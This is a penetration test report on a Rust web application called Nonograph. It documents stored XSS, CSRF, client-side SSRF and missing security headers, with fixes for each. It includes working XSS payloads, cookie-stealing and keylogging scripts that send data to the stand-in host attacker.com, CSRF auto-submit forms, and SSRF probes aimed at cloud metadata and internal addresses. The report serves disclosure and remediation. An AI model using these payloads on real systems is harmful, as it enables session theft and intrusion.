Security Assessment Report

Security Assessment Report

Application: Nonograph (Rust Web Application)
Test Date: October 13-14-15, 2025
Tester: [redacted]
Application Port: 8009

Report Metadata:

Report Version	Application	Test Date	Report Date	Tester	Application Version
1.0	Nonograph Web Application	October 13-14-15, 2025	October 15, 2025	[redacted]	1.0.0

Test Environment	Test Duration	Vulnerabilities Found	Report Status	Confidentiality
localhost:8009	16h	8 (1 Critical, 1 High, 2 Medium, 4 Low)	Final	Internal

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Executive Summary

This security assessment identified **multiple critical vulnerabilities** in the Nonograph web application. The most severe findings include stored Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), and Client-Side Server-Side Request Forgery (SSRF). These vulnerabilities allow attackers to execute arbitrary JavaScript, create unauthorized content, and probe internal networks.

Vulnerability Summary

Severity	Count	Vulnerabilities
Critical	1	Template-Based Stored XSS
High	1	Cross-Site Request Forgery
Medium	2	Client-Side SSRF, Missing Security Headers
Low	1	Null Byte Truncation in Input Fields
Informational	3	Empty Fields After Sanitization, Content Alignment Issues, Unbounded Channel

Total Findings: 8 (4 vulnerabilities, 4 quality issues)
Overall Risk Rating: CRITICAL

The presence of stored XSS vulnerabilities combined with absent CSRF protection indicates **systemic security issues** requiring immediate remediation before production deployment.

Assessment Methodology

Assessment Type: White-box security assessment with full source code access

Testing Approach:

- Static code analysis of Rust implementation
- Dynamic testing using curl and browser-based exploitation
- Manual verification of discovered vulnerabilities
- Systematic evaluation against OWASP Top 10 2021

Tools Used:

- **curl** - HTTP request manipulation and PoC delivery
- **Browser DevTools** - DOM inspection and JavaScript execution verification
- **Custom payloads** - XSS, CSRF, and injection testing
- **Source code analysis** - Manual code review

Code Review Coverage:

- Template engine (`template.rs`)
- Markdown parser and sanitization (`parser.rs`)
- Request handlers and routing (`main.rs`)
- Configuration and validation (`config.rs`)
- File I/O operations (`save.rs`)

Testing Period: October 13-15, 2025
Tester: [redacted]

Findings

Critical Vulnerabilities

VULN-001: Template-Based Stored XSS

Severity: CRITICAL
CVSS 3.1 Score: 9.0 (Critical)
CWE: CWE-79 - Cross-Site Scripting
Affected Components: Title, Author, Description fields → Meta tags
Affected Files: `template.rs` , `main.rs`

Description

The application's custom template engine performs simple string replacement without HTML escaping, allowing attackers to inject malicious JavaScript into HTML meta tags. User-supplied content from the **content field** (`raw_content`) is inserted

directly into the `og:description` meta tag without sanitization, enabling stored XSS attacks that execute for every user who views the compromised post.
Multiple exploitation techniques demonstrate this vulnerability, including basic tag injection, newline-based attribute breaking, mutation XSS using parser confusion, and XML processing instruction abuse.

Discovery process

The vulnerability was discovered while testing XSS payloads in the content field. Initial tests revealed that while the Ammonia sanitizer protects the post body, the `og:description` meta tag receives unsanitized raw content, creating an exploitable injection point.

Proof of concept

The Template XSS vulnerability can be exploited using **four distinct techniques**, each demonstrating different attack vectors:

Technique 1: Tag injection via content field

Objective: Break out of the meta tag completely and inject new HTML tags

Payload:

```
content="><script>alert("XSS")</script><meta name="
```

Why this works:
The `">` closes the meta tag, script executes outside tag context, and trailing `<meta name="` absorbs the template's closing quote.

Rendered HTML:

```
<!-- Expected (safe): -->
<meta property="og:description"
content="&quot;&gt;&lt;script&gt;alert(&quot;XSS&quot;)&lt;/script&gt;&lt;meta name=&quot;">

<!-- Actual (vulnerable): -->
```

```
<meta property="og:description" content="">
<script>alert("XSS")</script>
<meta name="">
```

Result: JavaScript alert executes immediately when page loads



Technique 2: Multiline breaking via content field

Objective: Use newline characters to break out of attribute context

Payload:

```
content=Test\n\n"><script>alert(1)</script>
```

Why this works:
Newline characters (`\n` or `%0A%0D`) disrupt attribute parsing, causing browsers to treat subsequent `">` as closing the meta tag, allowing script execution outside tag context.

Result: JavaScript executes on page load



Technique 3: Mutation XSS via Noscript Tag

Objective: Exploit browser parser differences (mXSS)

Payload:

```
content=<noscript><p title="</noscript><img src=x
onerror=alert(document.domain)>">
```

Why This Works:

This exploits **Mutation XSS** - parser mismatch between Ammonia sanitizer and browser HTML5 parser.

Key Observation:

- **Body Content (Safe):** `<p title="<img src="x">"></p>` (properly escaped)
- **Meta Tag (Vulnerable):** `<img src="x" onerror="alert(document.domain)">` (NOT escaped)

Parser Confusion:
Opening tags are escaped (`<noscript>`), but the `</noscript>` inside the title attribute creates a context switch, causing the `<img>` tag to appear unescaped in the meta tag where the browser executes the `onerror` handler.

Rendered HTML in Meta Tag:

```
<meta property="og:description" content="&lt;noscript&gt;&lt;p
title=" <="" noscript="">
<img src="x" onerror="alert(document.domain)">
"&gt;" />
```

Result: JavaScript alert shows `localhost:8009`

Technique 4: HTML Structure Injection via XML Processing Instructions

Objective: Use XML processing instructions to break out of meta tag attribute and inject HTML structure

Payload:

```
content=<?xml version="1.0"?><script>alert(document.domain)
</script>'
```

Why this works:
The XML processing instruction's quote in `"1.0"` prematurely closes the meta tag's content attribute, allowing `<script>` to execute outside tag context despite corrupting document structure.

Rendered HTML:

```
<meta property="og:description" content="<?xml version=" 1.0"?="">
<script>alert(document.domain)</script>">
```

Result: JavaScript executes when page loads, demonstrating that meta tags can inject not just scripts but also corrupt HTML document structure

---

Automated Testing: See `xss_poc.sh` in Appendix A for ready-to-run verification scripts.

Technical details

Vulnerable code location: `template.rs` - Line ~26-35

```
pub fn render(&self, template_name: &str, context: &HashMap<String,
String>)
-> Result<String, String> {
    // ...
    for (key, value) in context {
        let pattern = format!("{{{{{}}}}}", key);
        result = result.replace(&pattern, value);  // NO ESCAPING
```

```
    }
    Ok(result)
}
```

Problem: Direct string replacement without context-aware HTML escaping.

Data Flow:



Why Each Field is Vulnerable or Protected:

Field	Processing	Template Destination	Exploitable
title	`sanitize_text()` - strips ALL tags, truncates to 15 chars	`<title>`, `og:title` meta tag	Protected
author/alias	`sanitize_text()` - strips ALL tags, truncates to 15 chars	`article:author` meta tag	Protected
content	`render_markdown()` + `sanitize_html()` (Ammonia)	`<div class="article-content">`	Protected
raw_content	**No sanitization at all**	`og:description` meta tag	**VULNERABLE**

Root Cause: The template engine inserts `raw_content` (the original markdown input) directly into the `og:description` meta tag without any HTML escaping. This bypasses all the sanitization that happens for the rendered content.

Code Flow:

```
// main.rs - view_post()
let description = if post.raw_content.chars().count() > 160 {
    let truncated: String =
post.raw_content.chars().take(160).collect();
    format!("{}...", truncated)
} else {
    post.raw_content.clone()  // NO SANITIZATION
};
context.insert("description".to_string(), description);  // Goes
straight to template

// template.rs
// {{description}} replaced directly into: <meta
property="og:description" content="{{description}}">
```

Attack Scenarios

1. Account Takeover via Session Hijacking:

```
content="><script>fetch("https://attacker.com/steal?
c="+document.cookie)</script><meta name="
```

Impact: Steals session cookies from all visitors to the post

---

2. Page Defacement:

```
content=Important%0A%0D"><script>fetch("https://attacker.com/steal?
c="+document.cookie)</script>
```

Impact: Replaces entire page content with attacker's message

---

3. Keylogging:

```
content=Read%0A%0D"><script>document.onkeypress=function(e)
{fetch("https://attacker.com/log?k="+e.key)}</script>
```

Impact: Captures all keystrokes on the page, including passwords typed elsewhere

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Impact Assessment

Impact Category	Severity	Details
Confidentiality	Critical	Session hijacking, cookie theft, credential harvesting
Integrity	High	Page defacement, content manipulation, fake forms
Availability	Medium	DoS via infinite loops, resource exhaustion
Scope	Critical	Affects **all users** viewing the compromised post

Business Impact:

- Complete user account compromise
- Platform reputation irreparably damaged
- Legal liability (GDPR violations - failure to protect user data)
- SEO poisoning via malicious meta tags affecting search rankings
- Platform becomes phishing/malware distribution vector
- User trust permanently lost
- Potential regulatory fines and lawsuits

Remediation

Priority 1: Escape raw_content before template insertion (emergency - 30 minutes)

The quickest fix is to HTML-escape `raw_content` before it goes to the template:

```
// parser.rs - Add this function near sanitize_text()
pub fn html_attr_escape(text: &str)
-> String {
    text.replace('&', "&amp;")
        .replace('<', "&lt;")
        .replace('>', "&gt;")
        .replace('"', "&quot;")
        .replace('\'', "&#x27;")
        .replace('\n', " ")  // Replace newlines with space, not
entity
        .replace('\r', "")   // Remove carriage returns
}

// main.rs - view_post() function
let description = if post.raw_content.chars().count() > 160 {
    let truncated: String =
post.raw_content.chars().take(160).collect();
    format!("{}...", parser::html_attr_escape(&truncated))
} else {
    parser::html_attr_escape(&post.raw_content)
};
context.insert("description".to_string(), description);
```

Deploy this immediately - it's a one-function addition that prevents the vulnerability.

Priority 2: Implement Context-Aware HTML Escaping in Template Engine (2-4 hours)

See **Appendix B: Template Engine Fix** for complete implementation with context-aware escaping.

Priority 3: Use a Proven Template Engine (1-2 days)

Migrate to proven template engine with automatic escaping:

- **Tera** (recommended) - Automatic HTML escaping
- **Handlebars** - Safe by default
- **Askama** - Compile-time type safety

Priority 4: Content Security Policy (2 hours)

Add CSP header to block inline scripts even if XSS bypasses sanitization (see VULN-004 remediation).

Complete remediation code: See Appendix B

Verification

```
curl -X POST http://localhost:8009/create \
  -d 'title=Test' \
  -d 'content="><script>alert("XSS")</script><meta name="'
# Expected: &amp;quot;&amp;gt;&amp;lt;script&amp;gt; (no execution)

curl -X POST http://localhost:8009/create \
  -d 'title=My Post' \
  -d 'content=This is **bold** and *italic* content'
# Expected: Renders correctly
```

Comprehensive Testing: See `xss_poc.sh` in Appendix A for automated verification script covering all four techniques.

Timeline for Remediation:

- **Emergency Fix (Priority 1):** 30 minutes - **Deploy immediately**
- **Short-term (Priority 2):** 2-4 hours - Deploy within 24 hours
- **Medium-term (Priority 3-4):** 1-3 days - Deploy within 1 week

This vulnerability should be treated as **P0 (Critical)** and the emergency fix deployed immediately before any production use.

High Severity Vulnerabilities

VULN-002: Cross-Site Request Forgery

Severity: HIGH
CVSS 3.1 Score: 7.1 (High)
CWE: CWE-352 - Cross-Site Request Forgery
Affected Components: `/create` endpoint
Affected Files: `main.rs` - `create_post()` function

Description

The application's post creation endpoint lacks CSRF protection, allowing attackers to force users to create posts without their knowledge or consent. Since no authentication or CSRF tokens are required, any malicious website can submit POST requests on behalf of users who have the application open in another browser tab.

Proof of Concept

Attack Overview:

An attacker can force users to create posts by hosting a malicious page with an auto-submitting form:

```
<form id="csrf" action="http://localhost:8009/create" method="POST"
style="display:none;">
    <input name="title" value="CSRF Attack - Unauthorized Post">
    <input name="content" value="This post was created without user
consent.">
</form>
<script>document.getElementById('csrf').submit();</script>
```

Attack Flow:

1. Victim visits attacker's website
2. Hidden form auto-submits to application
3. Post is created without user knowledge or consent

Result: Post created successfully (verified)

Full PoC script: See `csrf_poc.html` in Appendix A for complete working demonstration.

Vulnerable Code

Location: `main.rs` - Lines ~170-210

```
#[post("/create", data = "<form>")]
fn create_post(
    form: rocket::form::Form<NewPost>,
    storage: &State<PostStorage>,
    file_queue: &State<FileSaveQueue>,
    config: &State<Config>,
)
-> Result<rocket::response::Redirect, content::RawHtml<String>> {
    // NO CSRF TOKEN VALIDATION
    // NO ORIGIN/REFERER VALIDATION
    // NO RATE LIMITING
    if let Err(error) = config.validate_post(&form.title,
&form.content, form.alias.as_deref()) {
        return Ok(rocket::response::Redirect::to(format!("/?error=
{}", error)));
    }
    // ... creates post without any CSRF protection
}
```

Missing Security Measures:

- No CSRF token generation or validation
- No `Origin` header validation
- No `Referer` header validation
- No `SameSite` cookie attributes
- No custom request headers required

- No rate limiting

Attack Scenarios

1. Mass Spam Campaign:

```
<script>
for(let i=0; i<100; i++) {
  fetch('http://localhost:8009/create', {
    method: 'POST',
    headers: {'Content-Type': 'application/x-www-form-urlencoded'},
    body: `title=Spam ${i}&content=Buy products at evil.com`
  });
}
</script>
```

2. Defamatory Content:

```
<form action="http://localhost:8009/create" method="POST">
  <input name="title" value="Illegal Activity Confession">
  <input name="content" value="I admit to committing fraud...">
  <input name="alias" value="John Doe">
</form>
```

3. Phishing via CSRF:

```
<form action="http://localhost:8009/create" method="POST">
  <input name="title" value="Security Update Required">
  <input name="content" value="Click here to verify your account:
http://phishing.com">
</form>
```

4. Combined with XSS:

Since CSRF allows post creation AND XSS exists:

```
<form action="http://localhost:8009/create" method="POST">
  <input name="title" value="Normal Title">
  <input name="content" value='<noscript><p title="</noscript><img
```

```
src=x onerror=alert(1)>">'>
</form>
```

Result: CSRF creates post containing XSS payload -> self-propagating attack.

HTTP Request Analysis

Legitimate Request:

```
POST /create HTTP/1.1
Host: localhost:8009
Content-Type: application/x-www-form-urlencoded
Origin: http://localhost:8009
Referer: http://localhost:8009/

title=My+Post&content=My+content
```

Malicious CSRF Request:

```
POST /create HTTP/1.1
Host: localhost:8009
Content-Type: application/x-www-form-urlencoded
Origin: http://evil.com
Referer: http://evil.com/attack.html

title=CSRF+Attack&content=Malicious
```

Both requests succeed identically - No validation performed

Impact Assessment

Impact Category	Severity	Details
Integrity	Critical	Unauthorized content creation
Reputation	High	Spam/malicious posts damage platform
Availability	Medium	Mass CSRF can overwhelm system
Legal Liability	High	Users can deny creating content

Business Impact:

- Users can claim they didn't create defamatory content
- Platform used for spam/phishing campaigns
- SEO poisoning via automated CSRF attacks
- Resource exhaustion from mass post creation

Remediation

Priority 1: Implement CSRF Token Protection

```
// main.rs - Add CSRF token system
use rocket::request::{self, Request, FromRequest};
use rocket::http::{Cookie, CookieJar, SameSite};
use rocket::outcome::Outcome;
use rand::Rng;

pub fn generate_csrf_token()
-> String {
    use rand::distributions::Alphanumeric;
    rand::thread_rng()
        .sample_iter(&Alphanumeric)
        .take(32)
        .map(char::from)
        .collect()
}

// CSRF token request guard
pub struct CsrfToken(pub String);

#[rocket::async_trait]
impl<'r> FromRequest<'r> for CsrfToken {
    type Error = ();
    async fn from_request(request: &'r Request<'_>)
    -> request::Outcome<Self, Self::Error> {
        match request.cookies().get_private("csrf_token") {
            Some(cookie) =>
Outcome::Success(CsrfToken(cookie.value().to_string())),
            None => Outcome::Forward(()),
        }
```

```rust
    }
}

// Modified create_post
#[derive(FromForm)]
struct NewPost {
    title: String,
    content: String,
    alias: Option<String>,
    csrf_token: String,
}

#[post("/create", data = "<form>")]
fn create_post(
    form: rocket::form::Form<NewPost>,
    csrf: CsrfToken,  // Require CSRF token
    storage: &State<PostStorage>,
    file_queue: &State<FileSaveQueue>,
    config: &State<Config>,
)
-> Result<rocket::response::Redirect, content::RawHtml<String>> {
    // Validate CSRF token
    if form.csrf_token != csrf.0 {
        return Err(content::RawHtml("CSRF validation
failed".to_string()));
    }
    // ... rest of function
}

// Generate token for forms
#[get("/")]
fn index(mut cookies: &CookieJar<'_>, config: &State<Config>)
-> content::RawHtml<String> {
    let token = generate_csrf_token();
    // Set CSRF token cookie
    let csrf_cookie = Cookie::build(("csrf_token", token.clone()))
        .same_site(SameSite::Strict)
        .http_only(true)
        .secure(false)  // Set to true in production with HTTPS
        .path("/")
        .build();
```

```
    cookies.add_private(csrf_cookie);
    let engine = TemplateEngine::new("templates");
    let mut context = HashMap::new();
    context.insert("csrf_token".to_string(), token);  // Pass to
template
    context.insert("error".to_string(), "".to_string());
    context.insert("success".to_string(), "".to_string());
    context.insert("title_max_length".to_string(),
config.limits.title_max_length.to_string());
    context.insert("alias_max_length".to_string(),
config.limits.alias_max_length.to_string());
    context.insert("content_max_length".to_string(),
config.limits.content_max_length.to_string());
    match engine.render_with_defaults("home", &context) {
        Ok(html) => content::RawHtml(html),
        Err(e) => content::RawHtml(format!("Template error: {}",
e)),
    }
}
```

And update the HTML template (home.html):

```
<form method="POST" action="/create">
    <input type="hidden" name="csrf_token" value="{{csrf_token}}">
    <!-- rest of form -->
</form>
```

Priority 2: Add SameSite Cookie Attributes

```
use rocket::http::{Cookie, SameSite};

let csrf_cookie = Cookie::build(("csrf_token", token))
    .same_site(SameSite::Strict)
    .secure(true)     // HTTPS only in production
    .http_only(true)  // Prevent JavaScript access
    .path("/")
    .build();

cookies.add_private(csrf_cookie);
```

Priority 3: Validate Origin/Referer Headers

```
#[post("/create", data = "<form>")]
fn create_post(
    form: rocket::form::Form<NewPost>,
    csrf: CsrfToken,
    request: &Request<'_>,
    storage: &State<PostStorage>,
    file_queue: &State<FileSaveQueue>,
    config: &State<Config>,
)
-> Result<rocket::response::Redirect, content::RawHtml<String>> {
    // CSRF token validation (primary defense)
    if form.csrf_token != csrf.0 {
        return Err(content::RawHtml("CSRF validation
failed".to_string()));
    }
    // Origin/Referer validation (defense-in-depth)
    let origin = request.headers().get_one("Origin");
    let referer = request.headers().get_one("Referer");
    let valid_origin = origin.map_or(false, |o| {
        o == "http://localhost:8009" || o == "http://127.0.0.1:8009"
    });
    let valid_referer = referer.map_or(false, |r| {
        r.starts_with("http://localhost:8009") ||
r.starts_with("http://127.0.0.1:8009")
    });
    // Require at least one valid header
    if !valid_origin && !valid_referer {
        return Err(content::RawHtml("Invalid request
origin".to_string()));
    }
    // ... rest of validation
}
```

Verification Tests

```
curl -X POST http://localhost:8009/create \
  -d "title=Test&content=Test"
# Expected: CSRF validation failed
```

```
# Test 2: Valid token should succeed
# (Get token from form first)
# Step 1: Get CSRF token from homepage
TOKEN=$(curl -c cookies.txt http://localhost:8009/ | grep -oP
'name="csrf_token" value="\K[^"]+')
# Expected: 303 Redirect (success)
```

Comprehensive testing: See `csrf_poc.html` in Appendix A

Medium Severity Vulnerabilities

VULN-003: Client-Side SSRF

Severity: MEDIUM (Mitigated by Browser ORB)
CVSS 3.1 Score: 5.3 (Medium)
CWE: CWE-918 - Server-Side Request Forgery
Affected Components: Image/Video URL embedding
Affected Files: `parser.rs` - `process_images_with_config()`, `process_media_urls()`

Description

The application embeds user-supplied URLs in `<img>` and `<video>` tags without validation. While modern browsers apply **Opaque Response Blocking (ORB)** which prevents content from being read, **requests are still initiated** from the victim's browser. This allows attackers to:

- Probe internal networks
- Perform timing-based port scanning
- Trigger requests to cloud metadata endpoints
- Conduct DNS-based reconnaissance

Discovery Process

Testing image embedding with internal URLs:

```
content=![img](http://192.168.1.1/config)
```

Rendered HTML:

```
<img src="http://192.168.1.1/config" alt="img">
```

What Happens:

Server Side: Markdown renders to HTML without validation - no server-side request made

Client Side (Browser): When user loads the page:
- Browser sees `<img src="http://192.168.1.1/config">`
- Browser initiates HTTP request to `192.168.1.1`
- ORB (Opaque Response Blocking) blocks the response
- Request was still sent (timing/DNS leak occurs)

Browser Console:

```
OpaqueResponseBlocking: 192.168.1.1
OpaqueResponseBlocking: localhost:8009
```

Key Observations:

- Requests are sent despite ORB protection
- Response content is blocked but timing is observable
- DNS lookups occur regardless

Proof of Concept

Attack Payloads:

```
# AWS Metadata Endpoint
content=![img](http://169.254.169.254/latest/meta-data/)
```

```
# Internal Network Discovery
content=![img](http://192.168.1.1/admin)

# Localhost Probing
content=![img](http://localhost:8009/admin)

# Video SSRF
content=http://169.254.169.254/latest/meta-data/iam/security-
credentials/.mp4
```

Exploitability Despite ORB

Even with browser protections, the vulnerability remains exploitable:

1. Timing-Based Port Scanning:

Response timing reveals port status:

- **Fast (~10ms):** Port closed, immediate rejection
- **Slow (~100ms+):** Port open, then blocked by ORB
- **Timeout (>3000ms):** Host filtered/firewall

2. Combined with XSS (VULN-001):

Since stored XSS exists, attacker can inject:

```
for(var p=8000; p<8010; p++) {
    fetch('http://192.168.1.1:'+p, {mode:'no-cors'})
}
```

Result: Complete port scan of victim's internal network via timing analysis.

3. DNS Exfiltration:

Attacker-controlled domains log DNS lookups:

```
![img](http://victim-ip.attacker.com/beacon.jpg)
```

Attacker DNS server logs reveal:

- Victim's IP address

- Session identifier in subdomain
- Timing of page access

4. Side-Channel Information Leakage:

- Network traffic visible to attackers on same network
- DNS lookups occur regardless of ORB
- Server logs record access attempts
- Timing differences reveal network topology

Vulnerable Code

Location: `parser.rs` - Lines ~25-75 (`process_images_with_config()`)
Additional: Lines ~530-575 (`process_media_urls()`)

```
fn process_images_with_config(
    text: &str,
    config: &crate::config::Config
)
-> String {
    // ... image parsing ...
    if !image_url.is_empty() && image_url.len() <=
config.security.max_url_length {
        result.push_str("<img src=\"");
        result.push_str(&html_escape(&image_url));  // NO URL
VALIDATION
        result.push_str("\" alt=\"");
        // ... rest of function
    }
}
```

Missing Validations:

- No URL scheme validation (allows `file://`, `javascript:`)
- No private IP range blocking (RFC 1918)
- No localhost/link-local address blocking
- No cloud metadata endpoint blocking
- No DNS rebinding protection

Impact Assessment

Impact Category	Severity	Details
Confidentiality	Medium	Network topology disclosure
Integrity	Low	CSRF-like attacks on internal services
Availability	Low	Internal service probing
Scope	Medium	Affects victim's network, not server

Why Not Critical:

- Modern browsers block response content (ORB)
- Requires user to visit malicious post
- No direct server compromise
- But timing attacks still leak information
- Combined with XSS becomes more dangerous

Remediation

Implementation Overview:

The fix involves three layers of validation:

1. **URL Scheme Validation** - Only allow `http://` and `https://`
2. **Private IP Blocking** - Block RFC 1918, loopback, link-local addresses
3. **Hostname Filtering** - Block localhost variants and suspicious domains

Priority 1: URL Scheme Validation (30 minutes)

```
fn validate_url_scheme(url: &str)
-> bool {
    url.starts_with("http://") || url.starts_with("https://")
}

fn process_images_with_config(text:
&str,config:&crate::config::Config)
```

```
-> String {
    // ... parsing code ...
    // Add validation before embedding
    if !validate_url_scheme(&image_url) {
        continue; // Skip dangerous URLs
    }
    if !image_url.is_empty() && image_url.len() <=
config.security.max_url_length {
        // ... embed image
    }
}
```

Priority 2: Complete URL Validation (2-3 hours)

Implement comprehensive validation blocking:

- Private IP ranges (10.x, 172.16.x, 192.168.x)
- Loopback addresses (127.x.x.x, ::1)
- Link-local addresses (169.254.x.x - AWS metadata)
- Localhost variants
- Non-standard ports (potential admin interfaces)

Complete implementation: See **Appendix B: URL Validator for SSRF Prevention**

Priority 3: Defense-in-Depth with CSP (30 minutes)

Add Content-Security-Policy header to restrict image sources:

```
// Note: CSP alone is NOT sufficient - must validate server-side
res.set_raw_header(
"Content-Security-Policy",
"default-src 'self'; \
img-src 'self' https:; \
media-src 'self' https:; \
..."
);
```

Important: CSP provides additional protection but **cannot prevent SSRF** if private IPs are reachable. Server-side URL validation is the primary defense.

Deployment Timeline:

- **P1 (30 min):** URL scheme validation → Deploy immediately
- **P2 (2-3 hours):** Complete URL validation → Deploy within 24 hours
- **P3 (30 min):** CSP headers → Deploy with VULN-004 fixes

Verification Tests

```
curl -X POST http://localhost:8009/create \
  -d 'title=Legit Image' \
  -d 'content=![img](https://example.com/image.jpg)'
# Expected: Image embedded correctly, shows in page source

curl -X POST http://localhost:8009/create \
  -d 'title=Private IP Test' \
  -d 'content=![img](http://192.168.1.1/test.jpg)'
# Expected: Image URL not embedded, shows as plain text or empty

curl -X POST http://localhost:8009/create \
  -d 'title=Localhost Test' \
  -d 'content=![img](http://localhost:8009/admin)'
# Expected: Image URL blocked

curl -X POST http://localhost:8009/create \
  -d 'title=Metadata Test' \
  -d 'content=![img](http://169.254.169.254/latest/meta-data/)'
# Expected: Image URL blocked

curl -X POST http://localhost:8009/create \
  -d 'title=File Scheme' \
  -d 'content=![img](file:///etc/passwd)'
# Expected: Image URL blocked
```

VULN-004: Missing Security Headers

Severity: MEDIUM
CVSS 3.1 Score: 4.3 (Medium)
CWE: CWE-693 - Protection Mechanism Failure
Affected Components: All HTTP responses
Affected Files: `main.rs` - Server configuration

Description

The application has partial security header implementation but is missing **Content-Security-Policy**, the most critical header for defense-in-depth against XSS attacks. While basic protections exist (X-Frame-Options, X-Content-Type-Options), the absence of CSP leaves the application vulnerable to:

- Cross-Site Scripting amplification (no CSP defense-in-depth)
- Clickjacking (X-Frame-Options too permissive - should be DENY)
- Man-in-the-middle attacks (no HSTS)

Current Response Headers

Testing command:

```
curl -I http://localhost:8009/
```

Actual response:

```
HTTP/1.1 200 OK
content-type: text/html; charset=utf-8
server: Rocket
x-content-type-options: nosniff
permissions-policy: interest-cohort=()
x-frame-options: SAMEORIGIN
content-length: 41459
date: Wed, 15 Oct 2025 02:33:17 GMT
```

Headers Present:

- `X-Content-Type-Options: nosniff` - Prevents MIME-type sniffing attacks
- `X-Frame-Options: SAMEORIGIN` - Blocks cross-origin clickjacking (should be

DENY)
- `Permissions-Policy: interest-cohort=()` - Disables FLoC tracking

Critical Headers Missing:

- `Content-Security-Policy` - **CRITICAL** - No XSS defense-in-depth
- `Strict-Transport-Security` - No HTTPS enforcement
- `Referrer-Policy` - Referrer information may leak
- `X-XSS-Protection` - No legacy browser XSS protection

Overall Status: Partial security header implementation (3 of 6 critical headers present). CSP missing is the most severe gap.

Impact Assessment

Critical Gap: No Content-Security-Policy

The stored XSS vulnerability (VULN-001) would be **significantly harder to exploit** if CSP was present with `script-src 'self'`. Even with template escaping bugs, CSP would block inline script execution as a **secondary defense layer**.

Current risk: Without CSP, XSS has no fallback protection. All inline scripts execute freely.

Impact Category	Severity	Details
Confidentiality	Low	No direct data exposure
Integrity	Medium	Enables XSS amplification, clickjacking
Availability	Low	No direct availability impact
Defense-in-Depth	Critical	No secondary XSS mitigation layer

Business Impact:

- XSS exploitation easier without CSP blocking inline scripts
- Clickjacking possible with `X-Frame-Options: SAMEORIGIN`
- No forced HTTPS (MITM attacks easier)

Proof of Concept: Clickjacking

Despite `X-Frame-Options: SAMEORIGIN`, same-origin framing is still possible:

```
<!DOCTYPE html>
<html>
<head><title>Win a Prize!</title></head>
<body>
    <h1>Click to win!</h1>
    <div style="position: relative;">
        <iframe src="http://localhost:8009/"
                style="position: absolute; top: 0; opacity: 0.1;
                       width: 500px; height: 400px;">
        </iframe>
        <button style="padding: 20px; font-size: 20px;">
            CLICK HERE TO WIN!
        </button>
    </div>
</body>
</html>
```

Result: If hosted on same origin, iframe loads and user inadvertently interacts with hidden form.

Remediation

Implementation Overview:

Add a Rocket fairing to set security headers on all responses. The fix involves:

1. **Add Content-Security-Policy** - Blocks inline scripts (critical)
2. **Strengthen X-Frame-Options** - Change SAMEORIGIN to DENY
3. **Add missing headers** - Referrer-Policy, X-XSS-Protection
4. **Expand Permissions-Policy** - Block additional browser features

Priority 1: Add Security Headers Fairing (30 minutes)

```
// main.rs
use rocket::fairing::{Fairing, Info, Kind};
use rocket::{Request, Response};

pub struct SecurityHeaders;
```

```
#[rocket::async_trait]
impl Fairing for SecurityHeaders {
    fn info(&self)
    -> Info {
        Info {
            name: "Security Headers",
            kind: Kind::Response
        }
    }

    async fn on_response(&self, _req: &'r Request, res: &mut
Response) {
        // Content Security Policy (blocks inline scripts)
        res.set_raw_header(
            "Content-Security-Policy",
            "default-src 'self'; \
             script-src 'self'; \
             style-src 'self' 'unsafe-inline'; \
             img-src 'self' https:; \
             object-src 'none'; \
             base-uri 'self'; \
             form-action 'self'; \
             frame-ancestors 'none';"
        );
        // Strengthen from SAMEORIGIN to DENY
        res.set_raw_header("X-Frame-Options", "DENY");
        res.set_raw_header("X-Content-Type-Options", "nosniff");
        res.set_raw_header("Permissions-Policy",
            "interest-cohort=(), geolocation=(), microphone=(),
camera=()");
        // Add missing headers
        res.set_raw_header("Referrer-Policy", "strict-origin-when-
cross-origin");
        res.set_raw_header("X-XSS-Protection", "1; mode=block");
        // PRODUCTION ONLY: Uncomment after HTTPS setup
        // res.set_raw_header(
        //     "Strict-Transport-Security",
        //     "max-age=31536000; includeSubDomains; preload"
        // );
    }
```

```
}

#[launch]
fn rocket()
-> rocket::Rocket {
    rocket::build()
        .attach(SecurityHeaders)  // Add or update this fairing
        .manage(storage)
        // ... rest of config
}
```

What This Changes:

Header	Before	After	Impact
Content-Security-Policy	Missing	`script-src 'self'`	Blocks inline scripts
X-Frame-Options	`SAMEORIGIN`	`DENY`	Stronger clickjacking protection
Referrer-Policy	Missing	`strict-origin-when-cross-origin`	Controls referrer leakage
X-XSS-Protection	Missing	`1; mode=block`	Legacy browser support
Permissions-Policy	Partial	Expanded	Blocks more features

Complete implementation: See **Appendix B: Security Headers Fairing**

Priority 2: Verify CSP Doesn't Break Functionality (1 hour)

After deploying, test thoroughly:

```
# Test 1: Verify CSP is present
curl -I http://localhost:8009/ | grep -i content-security-policy
# Expected: content-security-policy: default-src 'self'; script-src
'self'; ...
```

```
# Test 2: Open browser DevTools (F12)
# - Check Console for CSP violations
# - Should show: "Refused to execute inline script..." if any inline
scripts exist

# Test 3: Verify application functionality
# - Create posts
# - View posts
# - Navigate pages
# - All features should work normally
```

If CSP breaks functionality:

- Review Console for specific violations
- Check if inline scripts or styles are used
- Move inline scripts to external files if needed
- Adjust CSP directives carefully (avoid weakening security)

Verification Tests

```
# Test 1: Verify all security headers present
curl -I http://localhost:8009/

# Expected output:
# content-security-policy: default-src 'self'; script-src 'self';
...
# x-frame-options: DENY
# x-content-type-options: nosniff
# referrer-policy: strict-origin-when-cross-origin
# x-xss-protection: 1; mode=block
# permissions-policy: interest-cohort=(), geolocation=(), ...

# Test 2: Run automated header checker (see Appendix A)
chmod +x headers_check.sh
./headers_check.sh

# Expected output after fix:
```

```
# Content-Security-Policy: PRESENT
# X-Frame-Options: PRESENT
# X-Content-Type-Options: PRESENT
# Referrer-Policy: PRESENT
# Permissions-Policy: PRESENT

# Test 3: Verify CSP blocks inline scripts
# Create post with XSS (after VULN-001 is fixed)
# Browser console should show: "Refused to execute inline script..."
```

Low Severity Issues

Application Bugs & Quality Issues
Severity: LOW / INFORMATIONAL

BUG-004: Null Byte Truncation in Input Fields

Severity: LOW
CVSS 3.1 Score: 3.1 (Low)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
CWE: CWE-20 - Improper Input Validation
Location: Input validation - `config.rs` or Rocket's form parsing layer
Affected Fields: Title, Content, Author/Alias

Description

When users submit input containing null bytes (`\x00`), the application silently truncates the content at the null byte position instead of rejecting it or escaping it. This results in data loss without user notification.

Example:

```
# Null byte in title
curl -X POST http://localhost:8009/create \
  -d $'title=Test\x00Admin' \
```

```
  -d 'content=test'
# Result: Post created with title "Test" (lost "Admin")
```

Impact

Data Integrity Issues:

- Silent data truncation without user feedback
- Users unaware their input was modified
- Partial content loss

Not a Security Issue:

- No file path manipulation possible (paths use `post.id`, not user input)
